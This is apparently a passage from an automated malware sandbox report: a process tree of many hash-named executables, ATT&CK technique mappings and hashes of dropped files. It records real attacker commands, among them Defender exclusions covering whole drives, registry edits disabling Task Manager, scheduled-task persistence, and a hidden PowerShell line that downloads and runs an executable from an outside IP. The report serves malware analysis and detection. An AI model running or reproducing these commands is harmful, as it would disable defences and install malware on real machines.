- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:8492
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:8504
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:8512
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:8508
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:8528
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows.old/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:8532
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows.old\ShellHost.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:8544
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\sihost.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:8552
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Public\Libraries\ctfmon.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:8560
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows.old\WUDFHost.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:8568
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Internet Explorer\SIGNUP\1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:8576
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:8572
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\88rhLhA37y.bat"
    3⤵
    - Executes a command shell one-liner
    PID:9456
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:10460
  - - C:\Windows\system32\w32tm.exe
      w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
      4⤵
      PID:10660
  - - C:\Windows.old\WUDFHost.exe
      "C:\Windows.old\WUDFHost.exe"
      4⤵
      PID:9952
- C:\Users\Admin\AppData\Local\Temp\6ca05da8350d9f5e5d3a7547c0d4693ebc1190e3b76f58f4196021d0c080c722.exe
  "C:\Users\Admin\AppData\Local\Temp\6ca05da8350d9f5e5d3a7547c0d4693ebc1190e3b76f58f4196021d0c080c722.exe"
  2⤵
  PID:3424
- C:\Users\Admin\AppData\Local\Temp\7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe
  "C:\Users\Admin\AppData\Local\Temp\7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe"
  2⤵
  PID:6028
- - C:\Users\Admin\AppData\Local\Temp\7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe
    "C:\Users\Admin\AppData\Local\Temp\7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe"
    3⤵
    PID:10112
- C:\Users\Admin\AppData\Local\Temp\9c65d850589e6ab34c6c8e65b8a3b4aa26fa913ca850472023a3b708f95c226b.exe
  "C:\Users\Admin\AppData\Local\Temp\9c65d850589e6ab34c6c8e65b8a3b4aa26fa913ca850472023a3b708f95c226b.exe"
  2⤵
  PID:3368
- C:\Users\Admin\AppData\Local\Temp\59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe
  "C:\Users\Admin\AppData\Local\Temp\59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe"
  2⤵
  PID:5708
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\Program Files\Google\Chrome\Application'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2544
- - C:\Program Files\Google\Chrome\Application\Chrome_boostrap.exe
    "C:\Program Files\Google\Chrome\Application\Chrome_boostrap.exe"
    3⤵
    PID:6628
- C:\Users\Admin\AppData\Local\Temp\60e76eda46185d1d2e9463d15e31d4c87eb03535d368cc3471c55992bc99ad5f.exe
  "C:\Users\Admin\AppData\Local\Temp\60e76eda46185d1d2e9463d15e31d4c87eb03535d368cc3471c55992bc99ad5f.exe"
  2⤵
  PID:5700
- C:\Users\Admin\AppData\Local\Temp\65fd5041c1a1c4115b0c59995221023486f02e5e5d8e313c3e48f3a42ef9a623.exe
  "C:\Users\Admin\AppData\Local\Temp\65fd5041c1a1c4115b0c59995221023486f02e5e5d8e313c3e48f3a42ef9a623.exe"
  2⤵
  PID:2472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe
    3⤵
    - Executes a command shell one-liner
    PID:9792
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im taskmgr.exe
      4⤵
      Kills process with taskkill
      PID:11088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c REG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\system /v DisableTaskMgr /t reg_dword /d 1 /f
    3⤵
    - Executes a command shell one-liner
    PID:9976
  - - C:\Windows\system32\reg.exe
      REG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\system /v DisableTaskMgr /t reg_dword /d 1 /f
      4⤵
      Modifies registry key
      PID:6660
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c REG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t reg_dword /d 1 /f
    3⤵
    - Executes a command shell one-liner
    PID:10508
  - - C:\Windows\system32\reg.exe
      REG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t reg_dword /d 1 /f
      4⤵
      Modifies registry key
      PID:9704
- C:\Users\Admin\AppData\Local\Temp\77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe
  "C:\Users\Admin\AppData\Local\Temp\77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe"
  2⤵
  PID:2668
- - C:\Windows\splwow64.exe
    C:\Windows\splwow64.exe 12288
    3⤵
    PID:9080
- - C:\ProgramData\7B58.tmp
    "C:\ProgramData\7B58.tmp"
    3⤵
    PID:10920
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C DEL /F /Q C:\PROGRA~3\7B58.tmp >> NUL
      4⤵
      PID:10796
- C:\Users\Admin\AppData\Local\Temp\80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
  "C:\Users\Admin\AppData\Local\Temp\80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe"
  2⤵
  PID:5992
- C:\Users\Admin\AppData\Local\Temp\182fb9756b66963f458ebbe0f20ff2715a758825ac6655fc56ec85579df61330.exe
  "C:\Users\Admin\AppData\Local\Temp\182fb9756b66963f458ebbe0f20ff2715a758825ac6655fc56ec85579df61330.exe"
  2⤵
  PID:7312
- C:\Users\Admin\AppData\Local\Temp\188c3798b6d41bdfa3981bb61a40b81f4fe123c64b9bed2d4c40951de2064f19.exe
  "C:\Users\Admin\AppData\Local\Temp\188c3798b6d41bdfa3981bb61a40b81f4fe123c64b9bed2d4c40951de2064f19.exe"
  2⤵
  PID:6184
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn 8Iu4gmaeCHf /tr "mshta C:\Users\Admin\AppData\Local\Temp\XJ4yNMqqm.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - Executes a command shell one-liner
    PID:7504
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn 8Iu4gmaeCHf /tr "mshta C:\Users\Admin\AppData\Local\Temp\XJ4yNMqqm.hta" /sc minute /mo 25 /ru "Admin" /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6780
- - C:\Windows\SysWOW64\mshta.exe
    mshta C:\Users\Admin\AppData\Local\Temp\XJ4yNMqqm.hta
    3⤵
    PID:7636
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'2M6V26EAPFZDDZZNKIBSUKZ3H76QXS1H.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.156.72.2/testmine/random.exe',$d);Start-Process $d;
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6584
- C:\Users\Admin\AppData\Local\Temp\0379d402a94f960380d7d91e3bfa106eeac01cd39ae7b0ba5010ba737088a215.exe
  "C:\Users\Admin\AppData\Local\Temp\0379d402a94f960380d7d91e3bfa106eeac01cd39ae7b0ba5010ba737088a215.exe"
  2⤵
  PID:7756
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 7756 -s 308
    3⤵
    - Program crash
    PID:6004
- C:\Users\Admin\AppData\Local\Temp\539b377d4a33d1e884f18ecf0e0b0330e5dc26023b7ae051843cac8014142d98.exe
  "C:\Users\Admin\AppData\Local\Temp\539b377d4a33d1e884f18ecf0e0b0330e5dc26023b7ae051843cac8014142d98.exe"
  2⤵
  PID:7300
- C:\Users\Admin\AppData\Local\Temp\577b3a152ddc9d6558ad1b38ef6da89257229adf06d298ea025048a6d5d2fcea.exe
  "C:\Users\Admin\AppData\Local\Temp\577b3a152ddc9d6558ad1b38ef6da89257229adf06d298ea025048a6d5d2fcea.exe"
  2⤵
  PID:7992
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
    3⤵
    PID:6260
  - - C:\Windows\SysWOW64\wscript.exe
      "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Roaming\mGxdd.vbs"
      4⤵
      Executes a VBScript file via the Windows Script Host.
      PID:6688
- C:\Users\Admin\AppData\Local\Temp\755b9e89416a664f52a0dfee6de54687f15ae900a7317763b0a4144996724f6a.exe
  "C:\Users\Admin\AppData\Local\Temp\755b9e89416a664f52a0dfee6de54687f15ae900a7317763b0a4144996724f6a.exe"
  2⤵
  PID:6520
- C:\Users\Admin\AppData\Local\Temp\771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe
  "C:\Users\Admin\AppData\Local\Temp\771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe"
  2⤵
  PID:6680
- - C:\ProgramData\8616.tmp
    "C:\ProgramData\8616.tmp"
    3⤵
    PID:8648

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:5008

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "ShellHostS" /sc MINUTE /mo 10 /tr "'C:\Windows.old\ShellHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3736

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "ShellHost" /sc ONLOGON /tr "'C:\Windows.old\ShellHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1620

C:\Windows.old\ShellHost.exe
"C:\Windows.old\ShellHost.exe"
1⤵
PID:3728

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "ShellHostS" /sc MINUTE /mo 9 /tr "'C:\Windows.old\ShellHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3648

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\sihost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6000

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\sihost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5660

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\sihost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1088

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "ctfmonc" /sc MINUTE /mo 11 /tr "'C:\Users\Public\Libraries\ctfmon.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:252

C:\Recovery\WindowsRE\sihost.exe
"C:\Recovery\WindowsRE\sihost.exe"
1⤵
PID:5052

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "ctfmon" /sc ONLOGON /tr "'C:\Users\Public\Libraries\ctfmon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5900

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "ctfmonc" /sc MINUTE /mo 14 /tr "'C:\Users\Public\Libraries\ctfmon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2148

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WUDFHostW" /sc MINUTE /mo 9 /tr "'C:\Windows.old\WUDFHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4184

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WUDFHost" /sc ONLOGON /tr "'C:\Windows.old\WUDFHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:7280

C:\Users\Public\Libraries\ctfmon.exe
"C:\Users\Public\Libraries\ctfmon.exe"
1⤵
PID:6964

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WUDFHostW" /sc MINUTE /mo 5 /tr "'C:\Windows.old\WUDFHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6644

C:\Windows.old\WUDFHost.exe
"C:\Windows.old\WUDFHost.exe"
1⤵
PID:7440

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e1" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Internet Explorer\SIGNUP\1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4596

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e" /sc ONLOGON /tr "'C:\Program Files (x86)\Internet Explorer\SIGNUP\1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:7052

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:7792

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e1" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Internet Explorer\SIGNUP\1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:7892

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f355" /sc MINUTE /mo 8 /tr "'C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:8112

C:\Users\Admin\AppData\Roaming\ZcwWvGIJLelYh.exe
C:\Users\Admin\AppData\Roaming\ZcwWvGIJLelYh.exe
1⤵
PID:6200
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\ZcwWvGIJLelYh.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1716
- C:\Windows\SysWOW64\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ZcwWvGIJLelYh" /XML "C:\Users\Admin\AppData\Local\Temp\tmp12CE.tmp"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3904
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
  2⤵
  PID:11260
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\install.vbs"
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:10388

C:\Program Files (x86)\Internet Explorer\SIGNUP\1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe
"C:\Program Files (x86)\Internet Explorer\SIGNUP\1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe"
1⤵
PID:6236

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35" /sc ONLOGON /tr "'C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:8260

C:\Windows\system32\mshta.exe
mshta
1⤵
PID:8328

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f355" /sc MINUTE /mo 12 /tr "'C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:8412

C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
"C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe"
1⤵
PID:9156

C:\Windows\vkl.exe
"C:\Windows\vkl.exe"
1⤵
PID:868

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 7756 -ip 7756
1⤵
PID:7932

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004D0 0x00000000000004D8
1⤵
PID:8400

C:\Windows\system32\printfilterpipelinesvc.exe
C:\Windows\system32\printfilterpipelinesvc.exe -Embedding
1⤵
PID:9224
- C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE
  /insertdoc "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\{8FBF6A20-7D19-4A6B-885E-0E873767BB00}.xps" 134305275515320000
  2⤵
  PID:10020

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Windows Management Instrumentation

T1047

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Direct Volume Access

T1006

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Network Share Discovery

T1135

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

VVVVVVVVVVV

Path C:\$Recycle.Bin\S-1-5-21-1738198120-2966725515-3980530802-1000\VVVVVVVVVVV
Size 129B
SHA256 97d40fddca4d2e2dc28ae7d9694b1fde0f3002001a5c408332d33ffd01b0b2f7
MD5 ca9ff1974281db58efa633804f954e1d
SHA1 c4dbeb8638d88db612979dd50ab2fb29a068a8c1
SHA512 0545a8297d64b4e4b5b5253efb3c2535a7dc236c875e280125d24349fe5a5c019e552b6120c039eeb59e5c257dda55d2a5cef4f904e171e94b3136821325ebd0
TLSH
T157B02BB11087D41C5579084508039C3802AC521359E0C4D0808C9099D660C011CBD0F0
MD5 SHA1 SHA512 TLSH

Submit Download

Data breach warning.txt

Path C:\Data breach warning.txt
Size 2KB
SHA256 f2c5e5581eb3b4a9ba2ace6de0d9145f4c96481296272d08422e7286d3e35284
MD5 ede41c98fe1681544adbed02b0fa4e53
SHA1 c45b6fa1b163dd5728c729697c70b7ff728b61eb
SHA512 bbee25887a0d8070b14d89676b2232369ac3476a8ebd6e46a4415eb0fea557d982a0ede889791abf19ed7a3149ecf02743efdd1bbe59e2020bc42e94bba76053
TLSH
T193512ACEBE80947729C43895F2936B9FB1A55E8348AEC72F924EB4B7468052D0641D3F
MD5 SHA1 SHA512 TLSH

Submit Download

Chrome_boostrap.exe

Path C:\Program Files\Google\Chrome\Application\Chrome_boostrap.exe
Size 37KB
SHA256 55b2905b08f0715379db90291712363f16a80b3bfb33513012cb9ac7cbff4343
MD5 af69d667761ef87674be3d231a0ae0e6
SHA1 a938c72cfd162d097391d3f53f0097fda5a9543f
SHA512 32a1994162bb873da35f99816b8740b61e8f9b5a3e22e4aa19704848b4760208f23989f174822669a3105719647c3db9145ae0a227cf41d967d50935da66c4ab
SSDEEP 768:p4kXaRz1iRDY4ZkMCt7k+rTWe7/QpuHKWUzBS7w:ukXaR4vW3t+ZpuHKK
TLSH
T13C034B47634600FCD6A6E2BCC6A75B07E3B27C06171297CF13E1922A0F663D59DBEA50
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

readme.txt

Path C:\Program Files\readme.txt
Size 1KB
SHA256 93ba05d12da2b605baace8e0875d93a3d48a1d1c28b663bb906cb22932bfa0ce
MD5 d41a9e04d636a318e4a7c30f65fa9d93
SHA1 4a099831f8e0b5067a64a09a0dda4c14d1dbba79
SHA512 8d3eea62923c2cd3c3df034ddd5fcf0c798699b83046a35cd1ee7cb5f1d3e6a4be2baf2b3b9fda74f8cf377707e8e3082819515ac573ebdde5254ac19815eb9e
TLSH
T19631867FEF0C1122058FA1B27714EE5FAB0BA06CA065815007B6422C3BD53B659CB05D
MD5 SHA1 SHA512 TLSH

Submit Download

8616.tmp

Path C:\ProgramData\8616.tmp
Size 14KB
SHA256 917e115cc403e29b4388e0d175cbfac3e7e40ca1742299fbdb353847db2de7c2
MD5 294e9f64cb1642dd89229fff0592856b
SHA1 97b148c27f3da29ba7b18d6aee8a0db9102f47c9
SHA512 b87d531890bf1577b9b4af41dddb2cdbbfa164cf197bd5987df3a3075983645a3acba443e289b7bfd338422978a104f55298fbfe346872de0895bde44adc89cf
SSDEEP 384:5cFP7VtpK4p+31Mzh79W5vM+ZyUgGq4BtMvAxXCRsi:A7Vf9p+qQ02y5HW6kX
TLSH
T15A52BECB73E75FCAF03B43740857340AB795BB062B966A92EDC4091E1DE66440A8743B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

76561199851454339[1].htm

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\GUSZP5YK\76561199851454339[1].htm
Size 29KB
SHA256 f22b202c9a7a06630a1dd8444707bb80a359dafc0e15ad94a36aa3b456e8b408
MD5 b4179ad56a552b2aeb987d2fc3b61801
SHA1 3dca583705ead9edc6799bdc03fc41625d000a00
SHA512 ef240a6a4b37ba5e2de2e6b2539ee92a192eb7f228f05163ee5b7313233f64ea65fcd9a87b466ebaf4abd87655a602a1e458f3a2ff982447c18e29c37aea4572
SSDEEP 768:zZpq1t9cfuoYyuq9A4xD0+1aXfdW9x+X9hJYFouOMqu5/SKZaXfdW9x+X9hJYM2k:zZ81tKfuoYyuq9A4xD0+1aXfdW9x+X95
TLSH
T14AD242B658EC943F060972C1B012966EA29F8F7BF5098DE2F7FB015461C6DC60E7781A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 70KB
SHA256 8020f39b0c77702c374ccd67011da9855840a96bf96637739cdc94e2bc6a3195
MD5 06cce893fd07dd0173c795c540f73bcb
SHA1 7df9eb7c926346f6addd1512a982a8c0ac5710b8
SHA512 a76609ebdd2499ddde22ae1eec975b284f166c06a0e2291a30e5cb628b844a337aade60551ac9c1bc11dc6b8c65d1d63be5bfca90fbe497f9ae62f13dd0b4398
SSDEEP 1536:wMOHh0/a+jH0IfKQVJ40i71Yi8aUp+MWrx2flJd5a5piFHzdyMJ5tAHk0KL5kv0B:Yh0/a+jH0IfKQVZaqNaUp+MWrx2flJdN
TLSH
T1FC6373D2E9204E71E1A66F3EF15622627C30394690F8153211DC25EFA9879970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 6d0818deb27c62bb2f37f6693114aa5eacc3b0b6cd23b5dffd787cb186550d20
MD5 8feb8dd901e157d78dee9ba3a98b696b
SHA1 f0f9f4845fe9f0272bfc531546ab21cd9f0d1e19
SHA512 059f3428c2d31358b83f695d0a15a8c2c9c83d18a4285fe0c8228c916ce417eac91758c84307b6cda1717604f429b45a2de362e1e450aecff0aee9848431b087
TLSH
T18F212233F3DD8594C899413A60CEAD1036FBC7CB81DECF9B6B84D125A52FA99CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe

Path C:\Users\Admin\AppData\Local\Temp\01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe
Size 673KB
SHA256 01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52
MD5 9c7b97eb3958d4309e6ba38bb1a99471
SHA1 76c5317147306c477d793dc6aea9814d8111f82e
SHA512 3f9a36b3aa453400002156f0952de2ec4e9b4c28472cf37ccdd4483f63ea069ccf605f35a1abdffe400b9cedbc1711bacb9744c27aa3f00bf61963380b4ad461
SSDEEP 12288:OCtB5nF8ME6jD/gyU4gvpMvUTlzfAbzbm4rbH/x0XKqRoBWOrXlzofm:zPtD/gFNHlzYbzbR3H/cV2rXNofm
TLSH
T1C4E4126D31AD7C9BD86E02FD1931E008A3B2FE794495E3C96CC275DB45E9FE04622293
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0379d402a94f960380d7d91e3bfa106eeac01cd39ae7b0ba5010ba737088a215.exe

Path C:\Users\Admin\AppData\Local\Temp\0379d402a94f960380d7d91e3bfa106eeac01cd39ae7b0ba5010ba737088a215.exe
Size 251KB
SHA256 0379d402a94f960380d7d91e3bfa106eeac01cd39ae7b0ba5010ba737088a215
MD5 ef9aa4d03a69e69bbc44867f8436001d
SHA1 57db1f7070d71b752c4a8457d53908752a6c23c6
SHA512 b7c5e1a0233d04cc0c9b317df2997b64584240ed3e9f0d18a3b4f52d5fe5146fbe8aa21a7b8868dab8c4e11eb1d88723c219a0119e99e73a067bdfb9af7f9858
SSDEEP 6144:a4AF9TY5lWYpnvxFSt94cG9d7PqLfp+SlRwoOL:UF9QhnG3K7PqbEmwoO
TLSH
